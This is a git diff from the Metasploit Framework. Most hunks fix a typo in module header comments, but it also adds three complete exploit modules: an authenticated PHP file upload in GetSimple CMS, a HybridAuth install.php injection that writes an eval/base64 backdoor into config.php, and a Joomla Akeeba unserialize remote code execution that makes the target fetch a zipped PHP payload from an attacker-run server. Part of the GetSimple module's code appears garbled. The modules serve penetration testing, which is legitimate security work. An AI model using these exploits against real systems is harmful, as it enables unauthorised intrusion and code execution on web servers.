http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index 7d24cb6064..ca742cfe1a 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index f0d80253af..0a963a2a1a 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get_once.strip + banner = sock.get_once.to_s.strip vprint_status("#{rhost}:#{rport} - Banner: #{banner}") disconnect diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 1d4cf75356..9b029120b6 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstats_configdir_exec.rb b/modules/exploits/unix/webapp/awstats_configdir_exec.rb index ec833f32ab..ac2e0dfba5 100644 --- a/modules/exploits/unix/webapp/awstats_configdir_exec.rb +++ b/modules/exploits/unix/webapp/awstats_configdir_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb index 012397a915..af914a848d 100644 --- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb +++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb index 8629c6f449..770fa8a4f2 100644 --- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb +++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb index cd6d202ace..4c73e90a4c 100644 --- a/modules/exploits/unix/webapp/barracuda_img_exec.rb +++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/base_qry_common.rb b/modules/exploits/unix/webapp/base_qry_common.rb index 05472f7924..574db617bd 100644 --- a/modules/exploits/unix/webapp/base_qry_common.rb +++ b/modules/exploits/unix/webapp/base_qry_common.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 2aa758e81f..efcb07a83c 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb index a0e9acc770..90941fd7ee 100644 --- a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb +++ b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb index ef508e2b2b..946c4ea726 100644 --- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb +++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb index f0f56cbf4e..66e4aed547 100644 --- a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb +++ b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb index 4a228df6e8..0e8aad113d 100644 --- a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb +++ b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 0ac6810817..91c04fd55a 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -113,4 +113,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 0d64532074..948a9108db 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index c353fbda93..10291ae9a6 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb index 4b737538c0..de725fce9d 100644 --- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb +++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index da7be29e11..75e2c1b2b6 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index d0cd58604a..b4cb968c14 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index 4701e7cb72..95c28d2a60 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/freepbx_config_exec.rb b/modules/exploits/unix/webapp/freepbx_config_exec.rb index 6e105f510b..58afa2be55 100644 --- a/modules/exploits/unix/webapp/freepbx_config_exec.rb +++ b/modules/exploits/unix/webapp/freepbx_config_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb index b9f242694b..137cabbe9c 100644 --- a/modules/exploits/unix/webapp/generic_exec.rb +++ b/modules/exploits/unix/webapp/generic_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb new file mode 100644 index 0000000000..5c2569966f --- /dev/null +++ b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GetSimpleCMS PHP File Upload Vulnerability', + 'Description' => %q{ + This module exploits a file upload vulnerability in GetSimple CMS. By abusing the + upload.php file, a malicious authenticated user can upload an arbitrary file, + including PHP code, which results in arbitrary code execution. + }, + 'Author' => + [ + 'Ahmed Elhady Mohamed' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB', '25405'], + ['OSVDB', '93034'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Generic (PHP Payload)', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 04 2014' + )) + + register_options([ + OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']), + OptString.new('USERNAME', [true, 'The username that will be used for authentication process']), + OptString.new('PASSWORD', [true, 'The right password for the provided username']) + ], self.class) + end + + def send_request_auth + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"), + 'vars_post' => { + 'userid' => "#{datastore['USERNAME']}", + 'pwd' => "#{datastore['PASSWORD']}", + 'submitted' => 'Login' + } + }) + + res + end + + def send_request_upload(payload_name, cookie_http_header) + data = Rex::MIME::Message.new + data.add_part("", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"") + data.add_part("Upload", nil, nil, "form-data; name=\"submit\"") + + data_post = data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"), + 'vars_get' => { 'path' =>'' }, + 'cookie' => cookie_http_header, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post + }) + + res + end + + def check + res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')}) + + if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} found") + + if Gem::Version.new(version) <= Gem::Version.new('3.1.2') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Authenticating...") + res = send_request_auth + + if res && res.code == 302 + print_status("#{peer} - The authentication process is done successfully!") + else + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + print_status("#{peer} - Extracting Cookies Information...") + cookie = res.get_cookies + if cookie.blank? + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + print_status("#{peer} - Uploading payload...") + payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht' + res = send_request_upload(payload_name, cookie) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name} normalize_uri(target_uri.path.to_s, upload_path, payload_name), + 'method' => 'GET' + }, 5) + end + +end diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index 16e14a3c94..b1d5b70f13 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb index f377adb6f7..29ebbb1775 100644 --- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb index 42959057a9..48f3fd180c 100644 --- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb +++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index 9fb9ac8969..13ce643e2e 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 1d13b0c83f..311d36732b 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -130,4 +130,4 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing #{fname}...") exec(base, fname) end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb index 90a1877755..92437ae125 100644 --- a/modules/exploits/unix/webapp/horde_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -141,4 +141,4 @@ class Horde_Kolab_Server_Decorator_Clean $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); -=end \ No newline at end of file +=end diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb new file mode 100644 index 0000000000..705428fdb2 --- /dev/null +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # application config.php is overwritten + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HybridAuth install.php PHP Code Execution', + 'Description' => %q{ + This module exploits a PHP code execution vulnerability in + HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php' + is not removed after installation allowing unauthenticated users to + write PHP code to the application configuration file 'config.php'. + + Note: This exploit will overwrite the application configuration file + rendering the application unusable. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pichaya Morimoto', # Discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['EDB', '34273'], + ['OSVDB','109838'] + ], + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested: + # HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu) + ['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 4 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/']) + ], self.class) + end + + + # + # Check: + # * install.php exists + # * config.php is writable + # * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2 + # + def check + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php') + if !res + vprint_error "#{peer} - Connection failed" + return Exploit::CheckCode::Unknown + elsif res.code == 404 + vprint_error "#{peer} - Could not find install.php" + elsif res.body =~ />([^<]+)<\/span> must be WRITABLEHybridAuth (2\.[012]\.[\d\.]+(-dev)?) InstallerHybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer 'POST', + 'uri' => normalize_uri(target_uri.path, 'install.php'), + 'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*" + ) + if !res + fail_with Failure::Unknown, "#{peer} - Connection failed" + elsif res.body =~ /Installation completed/ + print_good "#{peer} - Wrote backdoor successfully" + else + fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'" + end + + # execute payload + code = Rex::Text.encode_base64(payload.encoded) + print_status "#{peer} - Sending payload to config.php backdoor (#{code.length} bytes)" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'config.php'), + 'data' => "#{payload_param}=#{code}" + }, 5) + if !res + print_warning "#{peer} - No response" + elsif res.code == 404 + fail_with Failure::NotFound, "#{peer} - Could not find config.php" + elsif res.code == 200 || res.code == 500 + print_good "#{peer} - Sent payload successfully" + end + + # remove backdoor + print_status "#{peer} - Removing backdoor from config.php" + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'install.php'), + 'data' => 'OPENID_ADAPTER_STATUS=' + ) + if !res + print_error "#{peer} - Connection failed" + elsif res.body =~ /Installation completed/ + print_good "#{peer} - Removed backdoor successfully" + else + print_warning "#{peer} - Could not remove payload from config.php" + end + end +end diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb index 930db07be9..8544567488 100644 --- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb new file mode 100644 index 0000000000..b6f71d4680 --- /dev/null +++ b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' +require 'json' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier + 3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba + component, which is responsible for Joomla! updates. Nevertheless it is worth to note + that this vulnerability is only exploitable during the update of the Joomla! CMS. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Johannes Dahse', # Vulnerability discovery + 'us3r777 ' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2014-7228' ], + [ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'], + [ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'], + [ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'], + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ] + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Privileged' => false, + 'DisclosureDate' => "Sep 29 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), + OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5]) + ], self.class) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php') + ) + + if res && res.code == 200 + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def primer + srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip" + + php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}' + php_filename = rand_text_alpha(8 + rand(8)) + '.php' + + # Create the zip archive + print_status("Creating archive with file #{php_filename}") + zip_file = Rex::Zip::Archive.new + zip_file.add_file(php_filename, payload.encoded) + @zip = zip_file.pack + + # First step: call restore to run _prepare() and get an initialized AKFactory + print_status("#{peer} - Sending PHP serialized object...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'), + 'vars_get' => { + 'task' => 'stepRestore', + 'factory' => Rex::Text.encode_base64(php_serialized_akfactory) + } + }) + + unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/ + print_status("#{res.code}\n#{res.body}") + fail_with(Failure::Unknown, "#{peer} - Unexpected response") + end + + # Second step: modify the currentPartNumber within the returned serialized AKFactory + json = /###(.*)###/.match(res.body)[1] + begin + b64encoded_prepared_factory = JSON.parse(json)['factory'] + rescue JSON::ParserError + fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON") + end + + prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory) + modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1') + + print_status("#{peer} - Sending initialized and modified AKFactory...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'), + 'vars_get' => { + 'task' => 'stepRestore', + 'factory' => Rex::Text.encode_base64(modified_factory) + } + }) + + unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/ + fail_with(Failure::Unknown, "#{peer} - Unexpected response") + end + + register_files_for_cleanup(php_filename) + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename) + }, 2) + + end + + def exploit + begin + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stops due to our timeout, this is raised + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + if @zip && request.uri =~ /\.zip$/ + print_status("Sending the ZIP archive...") + send_response(cli, @zip, { 'Content-Type' => 'application/zip' }) + return + end + + print_status("Sending not found...") + send_not_found(cli) + end + +end diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb index 8be862ed3b..af1204f917 100644 --- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb +++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index fa6e2b56d8..cad27d9654 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index a3006ed24e..5286bf927d 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb index 3ec6a4e361..b088c8e86f 100644 --- a/modules/exploits/unix/webapp/kimai_sqli.rb +++ b/modules/exploits/unix/webapp/kimai_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 81ec7cc60e..8030e347cc 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/mambo_cache_lite.rb b/modules/exploits/unix/webapp/mambo_cache_lite.rb index dfa5482207..ad270f3590 100644 --- a/modules/exploits/unix/webapp/mambo_cache_lite.rb +++ b/modules/exploits/unix/webapp/mambo_cache_lite.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb index 5c8242500d..5c00daddd4 100644 --- a/modules/exploits/unix/webapp/mitel_awc_exec.rb +++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index f3eb502bdd..1f0f109a81 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb index 913641b07b..2d2f2cdb36 100644 --- 